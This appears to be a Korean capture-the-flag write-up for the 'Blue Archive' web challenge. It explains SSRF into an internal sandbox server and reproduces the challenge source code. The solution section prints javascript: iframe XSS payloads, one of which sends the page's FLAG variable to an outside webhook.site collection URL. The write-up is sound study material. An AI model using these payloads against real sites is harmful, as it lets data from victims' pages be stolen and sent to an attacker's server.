# 개요
이번에도 SSRF 문제이지만,
내부 서버에서 XSS를
발생시켜야하는
문제입니다.
+ 대상 확인
사이트에 접속하면
URL 입력창 두 개가
나타납니다.
사이트는
Save Archive에
URL을 입력하면
무언가가 저장이 되고,
View Archive에
같은 URL을 입력하면
링크가 하나 나타납니다.
해당 링크를
클릭하면
아무 것도
안나타납니다.
;;;
+ Flag 확인
제공된 파일을 보면
public 서버(blue_archive)와
internal 서버(sandbox.bluearchive.kr)
두 서버로 나뉘며
Flag는
internal 서버의
Javascript에서
FLAG 변수에
선언되어 있습니다.
# 분석
문제 사이트와 함께 제공된
사이트의 코드를 분석합니다.
Exploit을 위한
주된 코드는
아래 파일에서
확인할 수 있었습니다.
주요 파일
- public 서버(app 폴더)의 routes.js 파일
* /archiveSave 라우터
- public 서버(app 폴더)의 lib.js
* saveArchive 함수
- internal 서버(sandbox 폴더)의 index.js 파일
- docker-compose.yml 파일
+ public 서버(app 폴더) routes.js 파일
우선, public 서버(app 폴더)의 routes.js 파일에서
/archiveSave 라우터의 내용입니다.
// app 폴더 > routes.py > /archiveSave 라우터 내용
router.post('/archiveSave', async (req, res) => {
const { url } = req.body;
if (typeof url !== 'string' || !(url.startsWith('http://') || url.startsWith('https://')))
return res.status(400).render('index', { error : 'Invalid URL.' });
try {
await saveArchive(url);
return res.status(200).render('index', { success : `Sucessfully saved archive for ${url}` });
} catch (e) {
console.log(e)
return res.status(500).render('index', { error : 'Oops, an unknown error has occured.' });
}
});
라우터의 내용을 보면,
아래와 같이
동작하고 있습니다.
/archiveSave 라우터 동작:
1. POST 방식으로 url 파라미터 전달
- router.post('/archiveSave', async (req, res) => {
- const { url } = req.body;
2. 입력값 필터링(http:// or https:// 로 시작)
- if (typeof url !== 'string' || !(url.startsWith('http://') || url.startsWith('https://')))
- 불일치: Invalid URL 반환
3. saveArchive 함수에 url 전달
- await saveArchive(url);
- await: 함수 종료까지 대기(동기식으로 전환)
4. Response 반환
- saveArchive 정상 종료 시: Successfully saved archive for ${url}
- saveArchive 에러 발생 시: Oops, an unkown error has occured.
이 파일에서는
문제 페이지에서
URL 입력 시
http:// 또는 https:// 로 시작
해야한다는 힌트를
얻을 수 있었습니다.
+ public 서버(app 폴더) lib.js 파일
public 서버(app 폴더)의
lib.js 파일에는
saveArchive 함수
가 정의되어 있습니다.
// app 폴더 > lib.js
const crypto = require('crypto');
const fs = require('fs');
const moment = require('moment');
const puppeteer = require('puppeteer');
const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
const config = require('./config');
async function saveArchive(url) {
const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
if (!fs.existsSync(archive_dir))
fs.mkdirSync(archive_dir);
const timestamp = moment().format('YYYYMMDDHHmmssSSS');
const archive_path = `${archive_dir}/${timestamp}.${config.ARCHIVE_EXT}`;
const browser = await puppeteer.launch({
executablePath: './chrome/chrome',
ignoreDefaultArgs: true,
args: [
'--headless',
'--diable-gpu',
'--disable-dev-shm-usage',
'--ignore-certificate-errors',
'--hide-scrollbars',
'--window-size=1280,720',
"--js-flags=--noexpose_wasm,--jitless"
],
});
const page = await browser.newPage();
await page.goto(sandbox_url + url, { timeout: 3000 });
await new Promise(resolve => setTimeout(resolve, 3000));
await page.screenshot({
fullPage: true,
path: archive_path,
});
await browser.close();
}
module.exports = { saveArchive };
saveArchive 함수의
내용을 보면,
아래와 같이
동작하고 있습니다.
saveArchive 함수 동작:
1. url 파라미터에 대한 저장소(archive) 생성
- const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
if (!fs.existsSync(archive_dir)) fs.mkdirSync(archive_dir);
2. public 서버에서 웹 브라우저 실행
- const page = await browser.newPage();
3. 실행한 웹 브라우저에서 url로 접속
- const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
- await page.goto(sandbox_url + url, { timeout: 3000 });
4. 접속한 후 웹 브라우저 스크린샷을 저장소에 저장
- await page.screenshot({
fullPage: true,
path: archive_path,
});
이 파일에서는
두 가지 힌트를
얻을 수 있습니다.
힌트
1. public 서버가 웹 브라우저를 실행
2. public 서버가 접속하는 url
- url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=` + 입력값
+ internal 서버(sandbox 폴더) index.js 파일
이제 FLAG가 있는
internal 서버의 index.js 파일
입니다.
// sandbox 폴더 > index.js
const express = require('express')
const { encode } = require("html-entities");
const app = express()
app.get('/', function (req, res) {
data = `<html>
<head><title>sandbox</title></head>
<body>
<script>
FLAG = "cce2022{this_is_not_real_flag}"
</script>
<iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe>
</body>
</html>`
res.setHeader("Content-Type","text/html").send(data);
})
app.listen(process.env.PORT);
internal 서버 동작은
간단합니다.
internal 서버 동작:
1. FLAG는 javascript의 FLAG 변수에 저장
- <script> FLAG = "cce2022{this_is_not_real_flag}" </script>
2. 전달 받은 URL 페이지 로드
- <iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe>
위의 내용으로 보아
iframe에 입력되는
url 파라미터를 조작하여
javascript의
FLAG 값을
얻어야 한다고
생각했습니다.
+ docker-compose.yml 파일
docker-compose.yml 파일에서는
내부 서버의
주소와 PORT 번호를
얻을 수 있습니다.
version: '3'
services:
blue_archive:
build:
context: .
args:
PORT: 31337
SECRET: REDACTED
ARCHIVE_DIR: /var/tmp/blue_archive
ARCHIVE_EXT: jpg
ports:
- "31337:31337"
links:
- sandbox.bluearchive.kr
cap_add:
- SYS_ADMIN
sandbox.bluearchive.kr:
build:
context: .
dockerfile: ./sandbox/Dockerfile
environment:
PORT: 31337
내부 서버: sandbox.bluearchive.kr
내부 서버 PORT: 31337
# 풀이
이번 문제는
필터링 우회보다는
iframe 태그에서
XSS 를 발생시키는 게
중요한 문제였습니다.
문제 풀이 순서:
1. iframe 태그에서 XSS 확인
- <iframe src="javascript:alert(parent.FLAG);" ></iframe>
2. 값을 받을 수집 서버 구동
- webhook.site 사용
3. internal 서버에서 FLAG 값을 수집 서버로 전송
- javascript:location.href="https://webhook.site/{hash:XXX}/?FLAG=parent.FLAG";
+ iframe XSS
iframe 태그의 src 속성에서는
XSS 공격이 가능합니다.
테스트 방법:
1. 제공된 docker-compse.yml 파일 변경
- internal 서버(sandbox.bluearchive.kr) PORT 변경 및 외부 PORT 바인딩
environment:
# PORT: 31337
PORT: 31330
ports:
- "31330:31330"
2. Payload 입력
- url=javascsript:alert(window.parent.document.body.innerHTML)
+ 수집 서버 구동(webhook.site)
FLAG 값을 받을
수집 서버를 구동합니다.
별도로 구축하는 방법도 있으나
이번에 알게된
webhook.site 를 사용했습니다.
+ Payload 작성 및 실행
수집 서버까지
준비되었으면,
Payload를 생성하여
public 서버에
입력합니다.
Payload:
- http://sandbox.bluearchive.kr:31337/?url=javascript:location.href="https://webhook.site/e7df4f92-a72a-4f0b-a29c-920865bb5c45?flag=".concat(parent.FLAG);
- http://sandbox.bluearchive.kr:31337/?url=javascript:location.href=%22https://webhook.site/e7df4f92-a72a-4f0b-a29c-920865bb5c45?flag=%22.concat(parent.FLAG);
+ FLAG 확인
FLAG를
화면에 출력하지는
않았기 때문에
View Archive를 통해
이미지를 확인해도
FLAG를
얻을 수는 없으나
XSS를 통해
접속을 유도한
webhook.site에서는
FLAG를 확인할 수 있습니다.